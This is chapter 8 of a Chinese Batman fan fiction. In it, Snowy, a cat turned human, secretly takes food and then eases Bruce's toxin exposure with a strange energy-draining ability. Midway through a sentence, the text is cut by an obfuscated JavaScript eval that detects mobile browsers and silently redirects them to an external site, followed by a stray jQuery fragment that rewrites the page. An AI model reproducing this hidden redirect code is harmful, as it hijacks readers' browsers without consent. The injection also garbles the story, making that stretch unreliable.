8. 第八章
作品:《[综英美]请原谅猫第一次当人》 码头区爆炸事件的余波持续了几天。布鲁斯和迪克投入了大量时间分析残留物数据、追查走私网络。达米安则加强了对哥谭地下世界异常交易情报的筛选。洞穴里的空气仿佛被无形的弦绷紧,连阿尔弗雷德走路的步伐都似乎比平时更轻、更快。
斯诺伊的观察和学习也在继续。她对主控台屏幕上信息的解读能力在缓慢提升。她学会了分辨不同类型的警报优先级颜色,从高到低大概是深红、红、橙、黄、绿。她发现代表蝙蝠侠、夜翼、罗宾的追踪符号形状略有不同,便于区分。她还注意到,当地图上出现一种特殊的紫色标记(通常是静止的),布鲁斯会格外关注,调取更详细的档案和历史记录查看。
这些紫色标记旁边有时会标注缩写,比如“J”(小丑?)、“IVY”(毒藤女?)、“FZ”(急冻人?)。斯诺伊默默记住这些符号和可能关联的名字,虽然她并不完全理解它们代表的具体危险,但知道它们意味着“麻烦”。
她的语言词汇量在迪克的耐心(以及她自己的策略性配合)下缓慢增长。她开始能听懂更多日常指令和简单描述,也能用更清晰的单字或短词回应,比如“饿”、“水”、“冷”、“这里”。她依旧避免说复杂句子,保持“学习缓慢但持续”的表象。
身体的协调性进步明显。她走路已经相当平稳,甚至可以小跑而不容易摔倒。她私下练习的跳跃高度足以让她够到一些较低的壁架和管道。平衡感越来越好,她能在狭窄的边缘行走数米。这些进步她没有刻意隐藏,但只在独自一人或被认为“玩耍”时才表现出来。
真正困扰她的,是一种新的、日益强烈的感觉:饥饿。
不是普通的进食需求,而是一种深层的、仿佛从每个细胞里透出来的渴求,对能量的渴求。肩膀伤口完全愈合后,这种饥饿感最初只是饭后不久又隐约浮现,她以为是活动增加导致的。但随着时间的推移,它出现得越来越频繁,越来越难以忽视。
尤其是当她集中精神尝试去“感受”周围环境,或者模仿一些较费力动作后,饥饿感会像潮水般涌来,伴随着一阵短暂的虚弱和头晕。她需要立刻摄入食物,而且是大量的、富含热量的食物,才能稍微缓解。
阿尔弗雷德提供的三餐和点心是定量的,营养均衡但热量对于普通孩童足够,对她却渐渐显得杯水车薪。她开始留意阿尔弗雷德存放补给品的地方,记住他补充食物的时间。有时她会趁着阿尔弗雷德暂时离开,或其他人注意力在别处时,快速溜到存放区,多拿一个能量棒或一包坚果,藏在自己的毛毯或衣服里,等到饥饿感袭来时偷偷吃掉。
第一次这么做时,她紧张得心跳如鼓,耳朵竖着听周围的动静。但没有人发现,或者说,监控可能记录到了,但没人立刻过来质询。或许他们认为一个正在长身体(虽然他们知道她并非普通孩童)的孩子多吃一点无伤大雅。
但她的胃口增长幅度远超预期。几天后,偷偷多拿的食物也不够了。饥饿感开始影响她的状态,让她注意力难以集中,身体感到持续乏力和微颤。她需要更多。
一天下午,迪克在训练区做恢复性练习,达米安在主控台前分析情报,阿尔弗雷德在上层。斯诺伊的饥饿感再次袭来,比之前更强烈。她感到手心冒汗,视线边缘有点发花。存放区的常规食物已经拿过,不能再频繁动手,风险太大。
她的目光扫视洞穴,落在那辆黑色的蝙蝠车上。她记得有时迪克或布鲁斯会在车上放一些应急口粮或功能饮料。车就停在离她不远的维修区。
她犹豫了一下。靠近蝙蝠车是明确的禁忌,比拿食物更甚。但她此刻的饥饿感几乎成为一种疼痛,驱动着她。
她看了看主控台方向,达米安全神贯注盯着屏幕,手指快速敲击键盘。训练区,迪克背对着她,在瑜伽垫上做拉伸。
机会。
她像一道影子,贴着石壁和设备的阴影,悄无声息地移动到蝙蝠车侧面。车门紧闭,但她记得有一次迪克从车尾一个不起眼的储物格里取过水。她绕到车尾,那里果然有一个小小的、带有隐蔽开关的凹槽。
她用指甲小心地抠开凹槽盖,里面空间不大,放着两包高密度压缩口粮和两罐银色包装的功能饮料。口粮包装是深灰色的,没有任何标记。她迅速抓起一包口粮和一罐饮料,塞进自己过于宽大的上衣里,然后将凹槽盖恢复原状。
整个过程不到十秒。
她退回到阴影中,迅速离开蝙蝠车区域,回到自己的角落。心脏在胸腔里狂跳,不是因为运动,而是因为冒险和可能被发现的紧张。
她背对着洞穴中心,用毛毯做掩护,撕开压缩口粮的包装。里面的东西是深褐色的块状物,质地紧密,几乎没什么气味。她咬了一小口。味道非常平淡,略带咸味和某种谷物的味道,不难吃,但绝对称不上美味。她强迫自己快速咀嚼咽下。一块口粮下肚,那种火烧火燎的饥饿感稍微平息了一点,但虚弱感仍在。
她又打开功能饮料,小口喝下。液体是透明的,有点甜,带着一股奇怪的、类似金属的味道。喝完后,一股暖流从胃部扩散开,乏力感减轻了一些。
有效。但远远不够。而且风险极高。
接下来的几天,饥饿的阴影如同跗骨之蛆,紧紧跟随着她。她变得更加沉默,活动时也显得有气无力,这倒符合她“语言障碍、行为异常”的形象,没有引起额外怀疑。但只有她自己知道,那种对能量的渴望正在侵蚀她的理智。
她开始更仔细地观察洞穴内的能量来源。主控台的电力?不行。蝙蝠车的能源?不可能触及。那些训练器械?或许有可转换的生物动能,但她不知道怎么利用。
她再次尝试调动那种与生命连接的感觉,希望能从环境中汲取些什么。但除了能更清晰地感知到那只受伤老鼠(它还活着,伤口似乎没有恶化,但也没好)的存在和微弱情绪外,对无机物或纯粹的能量毫无反应。自然之力似乎更偏向于生命体之间的共鸣,而非直接的能量抽取。
绝望感开始滋生。难道她要被这种诡异的饥饿感困死在这里?或者,因为偷窃食物而被发现,然后面临更严格的监控甚至……处理?
转机出现在一个意想不到的时刻。
那天晚上,布鲁斯夜巡归来,比平时更早,而且身上没有明显的打斗痕迹。但他的气息不同。斯诺伊能闻到一种极淡的、冰冷的、类似薄荷又混合着某种化学制剂的味道,从他装甲的缝隙里飘散出来。他的动作也比平时稍微滞涩一点,似乎受了某种不流血的伤。
阿尔弗雷德立刻迎上去,低声询问。布鲁斯简短回答:“急冻人。新型冷冻射线试验场。微量神经毒素扩散,已注射中和剂。需要代谢。”
急冻人。斯诺伊记住了这个名字。屏幕上的“FZ”。与寒冷相关。
布鲁斯脱下部分装甲,坐在医疗椅上,阿尔弗雷德为他进行进一步检查和输液。达米安和迪克也在洞穴里,围在旁边,神情严肃。
“毒素成分分析出来了吗?”迪克问。
“初步结果显示,混合了新型低温催化剂和一种生物碱衍生物,主要攻击末梢神经和运动中枢,导致反应迟缓和体温调节紊乱。”阿尔弗雷德一边操作仪器一边说,“中和剂能阻止进一步损害,但代谢残留毒素需要时间,大约六到八小时。这段时间内,老爷的反应速度和抗寒能力会显著下降。”
“哥谭今晚气温会降到零下三度,加上风寒效应。”达米安看着天气数据,“如果他必须再次出动……”
“我会调整巡逻路线,避开高寒区域。”布鲁斯的声音有些低沉,带着疲惫,“夜翼,罗宾,你们需要覆盖东区和码头区的常规巡视。”
“明白。”
“您的体温正在缓慢下降,”阿尔弗雷德看着监测数据,“建议使用主动加温设备辅助代谢。”
“不用,节省能源。我能适应。”布鲁斯拒绝了,他试图站起来,但动作明显比平时慢了一拍。
斯诺伊在角落看着这一切。她不太理解神经毒素和代谢的具体含义,但她能看懂:布鲁斯受伤了,是那种不流血但让他变弱、怕冷的伤。他现在很虚弱,比平时脆弱。
她本该感到某种机会——守卫者变弱了。但此刻,一种更强烈的冲动压倒了她。
她感觉到了“冷”。不是气温的冷,而是从布鲁斯身上散发出的、一种不正常的、深入骨髓的寒意。这种寒意,与她记忆中森林里那种纯净的、属于自然的冰冷不同,它带着一种……死寂的、破坏性的感觉。它正在侵蚀布鲁斯的生命力,让他的生命之火变得黯淡、摇曳。
而她,对生命能量有一种模糊的感应和渴望。
饥饿感在此刻蠢蠢欲动,但对象似乎发生了偏移。不再是单纯对食物的渴求,而是对那种正在流失的、被污染的“生命力”的某种……排斥?不,不仅仅是排斥,还有一种更原始的本能反应。
她不由自主地站起身,朝医疗区走去。她的动作很轻,但在这个注意力集中在布鲁斯身上的时刻,依然引起了注意。
达米安第一个转头看她,眼神警惕。“退后。”
斯诺伊停下脚步,没有理会达米安,目光落在布鲁斯身上。布鲁斯也抬眼看向她,他的眼睛在面具下显得格外幽深,带着审视和一丝不易察觉的探究。他似乎想看看她要做什么。
斯诺伊指了指布鲁斯,然后用手臂抱住自己,做出一个冷的动作,脸上露出困惑和一点点关切(她努力模仿曾经见过的人类表情)。
“她感觉到温度变化了?”迪克有些惊讶,“这里的恒温系统没有改变。”
“可能对生命体征变化敏感。”阿尔弗雷德猜测。
斯诺伊又向前走了一小步。达米安的手按在了刀柄上,但布鲁斯微微摇了摇头。
斯诺伊走到距离布鲁斯大约两米的地方,再次停下。她闭上眼睛,深吸一口气,努力屏蔽掉洞穴里其他的气味和声音,将全部注意力集中在布鲁斯身上,集中在他散发出的那股异常寒意和略显紊乱的生命气息上。
这一次,感受比面对老鼠时清晰得多。她能“感觉”到那股寒意像细微的冰针,附着在布鲁斯的神经系统和肌体深处,阻碍着能量的正常流动,让他的生命之火像是被冻住的火苗,艰难地燃烧。同时,她也能感觉到布鲁斯自身强大的意志力和生命力在顽强地抵抗、代谢这些冰针。
她的饥饿感再次涌现,但这次,不是指向食物,而是……指向那些冰针?指向那股阻碍生命流动的“死寂”?
一个大胆的、近乎荒谬的念头在她心中升起。
她抬起手,不是要去触碰布鲁斯,而是掌心朝向他的方向,悬在空中。她集中精神,不再试图“给予”或“连接”,而是尝试着去“吸引”,去“捕捉”那些让她感到不适的、破坏性的寒意。
想象自己是一块磁铁,专门吸引那些冰冷的、不和谐的碎片。
起初,什么也没发生。只有医疗仪器的滴答声和洞穴的背景音。
达米安已经快要失去耐心了。迪克和阿尔弗雷德也疑惑地看着。
但布鲁斯没有动。他依旧看着斯诺伊,面具下的眉头微微皱起。他感觉到什么?一种极其微弱的、难以言喻的……拉扯感?从他身体的深处,从那些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081295|195324||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被毒素侵蚀的区域?
斯诺伊的额头渗出细密的汗珠。这比她想象的要困难得多,消耗也大得多。她感到自己的能量在快速流失,饥饿感更甚。但她咬牙坚持,将全部意念灌注在那个简单的目标上:吸引那些坏掉的冰冷碎片。
时间仿佛过得很慢。
然后,布鲁斯忽然轻微地颤抖了一下,不是寒冷,而是一种奇异的、仿佛有什么东西被抽离的感觉。他感觉到附着在神经末梢的一些冰冷滞涩感,似乎……松动了一点?
几乎同时,斯诺伊闷哼一声,踉跄着后退了一步,脸色瞬间变得苍白,身体晃了晃,差点摔倒。迪克眼疾手快扶住了她。
“怎么回事?”达米安厉声问。
斯诺伊靠在迪克手臂上,大口喘着气,额头的汗更多了,眼神有些涣散。她感到一阵强烈的眩晕和空虚,比之前任何一次饥饿都要严重。但同时,她掌心的皮肤,传来一种极其短暂、几乎无法察觉的、冰凉的刺痛感,转瞬即逝。
阿尔弗雷德迅速检查了布鲁斯的生命体征。“老爷,您的心率和体温有轻微回升趋势。神经反应测试数据显示,毒素代谢速度……加快了约百分之十五?”他的声音带着难以置信的惊讶。
布鲁斯活动了一下手指,确实感觉比刚才灵活了一丝,虽然变化极其微小,但对他这种对身体控制达到极致的人来说,足以察觉。
他看向被迪克扶着、脸色苍白的斯诺伊。她的状态明显变差,像是能量透支。
“扫描她。”布鲁斯的声音低沉。
阿尔弗雷德立刻拿来便携扫描仪,对着斯诺伊快速检查。“生命体征显示能量水平急剧下降,类似低血糖和轻微脱水的复合症状,但无器质性损伤。需要立刻补充水分和易吸收的糖分、电解质。”
迪克马上拿来功能饮料和能量凝胶,小心地喂给斯诺伊。斯诺伊几乎是贪婪地吞咽着,随着糖分和液体摄入,苍白的脸色慢慢恢复了一点血色,但依旧显得虚弱。
“她做了什么?”达米安盯着斯诺伊,眼神复杂。
“不清楚。”布鲁斯缓缓地说,他感受着体内那细微的变化,“似乎……加速了毒素残渣的代谢过程,通过某种未知的途径。代价是她自身的能量消耗。”
“吸收?转化?还是单纯的‘驱散’?”迪克扶着斯诺伊坐好。
“需要更多数据。但她的能力显然不止于快速愈合。”布鲁斯看着监控屏幕上刚刚记录下的斯诺伊生理数据波动曲线,在某个时间点出现了异常的尖峰和陡降,与他体内毒素代谢速率变化的拐点几乎同步。“这解释了她异常的能量需求。使用这种能力消耗巨大。”
斯诺伊喝完了饮料,吃掉了能量凝胶,虚脱感稍微缓解,但精神依旧疲惫。她能感觉到布鲁斯身上的那股寒意减弱了一丝,虽然还是很明显,但不再那么……“扎人”了。同时,她自己也像是跑了一场极其漫长的马拉松,每个细胞都在叫嚣着需要休息和补充。
她抬起头,看向布鲁斯。布鲁斯也正在看着她。两人目光接触。斯诺伊的眼神里没有得意,也没有讨好,只有疲惫和一丝尚未完全消退的、对于刚才那种“吸引”过程的困惑。
布鲁斯的目光则更加深邃。评估,计算,重新调整对这个“异常存在”的威胁等级和潜在价值的判断。
她不是武器,至少目前看来不是。但她也并非无害。她的能力带有强烈的双向性——既能影响外界(即使是微小的影响),也对自身造成巨大负担。这种负担表现为难以满足的能量需求,也就是她最近日益严重的“饥饿”。
如果这种能力可以定向、可控,或许……但在那之前,她首先需要稳定的、充足的能量来源,否则能力的使用只会让她自己陷入危机。
“阿尔弗雷德,”布鲁斯开口,“调整她的饮食配给。增加高蛋白、高热量食物的比例和频率。确保随时有快速补充能量的物资可用。”
“明白,老爷。”
“另外,”布鲁斯停顿了一下,“在医疗区附近,为她设置一个临时的固定休息点。配备基础监测。她需要更稳定的环境恢复。”
这意味着她可以离开那个冰冷的岩石凸起角落,拥有一个更正式、更舒适的“位置”。这算是一种认可?还是为了更方便的监控和研究?
斯诺伊不在乎动机。她只知道,她可能找到了缓解那可怕饥饿感的方法——不是通过无限度的偷窃,而是通过展示“价值”,换取稳定的供给。同时,她也隐约触碰到了自己能力的一角,虽然代价巨大,过程懵懂。
更重要的是,通过这次事件,她与这些观察者之间的关系,发生了微妙的、实质性的变化。她不再仅仅是一个被动的、需要破解的谜题或潜在的威胁。她成为了一个能够(在特定条件下)产生影响的变量,一个需要被重新评估和“管理”的资源。
饥饿的阴影暂时被驱散了一些,但取而代之的,是一种新的、更为复杂的处境。她获得了更好的生存条件,却也更深地嵌入了这个系统的内部,暴露了更多自身的秘密。
斯诺伊被迪克扶着,走向医疗区旁边新为她准备的、带软垫和薄毯的简易床铺。她躺下,疲惫立刻淹没了她。在陷入沉睡之前,她最后看了一眼主控台的方向。
屏幕上,哥谭的夜景依旧,光点闪烁。但斯诺伊知道,从这一刻起,她与这个巨大城市、与这座洞穴、与这些穿着披风与铠甲的人们之间的联系,已经变得更加紧密,也更加难以预料了。
微光不再是潜在的希望,它已经开始燃烧,带着不确定的温度和代价。而哥谭的夜晚,从不缺少吞噬光亮的黑暗。

